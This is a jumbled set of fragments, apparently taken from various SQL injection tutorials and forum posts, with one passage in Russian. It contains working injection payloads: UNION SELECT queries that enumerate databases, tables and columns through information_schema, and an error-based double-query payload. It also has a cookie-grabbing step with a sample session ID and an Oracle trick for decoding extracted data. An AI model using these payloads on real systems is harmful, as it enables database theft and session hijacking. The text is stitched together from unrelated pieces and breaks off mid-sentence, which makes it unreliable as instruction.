param=' or 1=0 union select table_schema,null,null from information_schema.columns# --> display all database name. Note 1=0 in above query to show only databases.
SELECT column_name FROM information_schema.columns WHERE table_name =<specific_table_name> LIMIT 0,1; Like table names, you can also get the column names from specified table and can iterate through all rows of table ‘columns
To extract the table names, column names and fields’ information, we can use specific tables from the database named ‘information_schema’ which by default keeps and maintains meta-deta of all user created databases, tables and columns.
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
Step 1 : Get seesion info - First get cookie from BurpSuite or or javascript:alert(document.cookie) in browser :- PHPSESSID=q9qo2j05b0l0r7in6bqhsjjvv1; security_level=0.
Introduction Most of the time when we talk about SQL injection we extract data by using the union keyword, error based, blind boolean and time based injection methods. All this come under a place where the application is performing a select statement on the back-end database.
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10
Для декодирования получаемых данных из приложения при эксплуатации SQL-инъекции описанным способом, в том числе, может использоваться стандартная функция оракла: SQL> select utl_raw.cast_to_varchar2('61646D696E3A3A5040737377307264') from dual...
There is a feature in SQL-2003 standard to allow in the SELECT list, columns that are not in the GROUP BY list, as long as they are functionally dependent on them. If that feature had been implemented in SQL-Server, your query could have been written as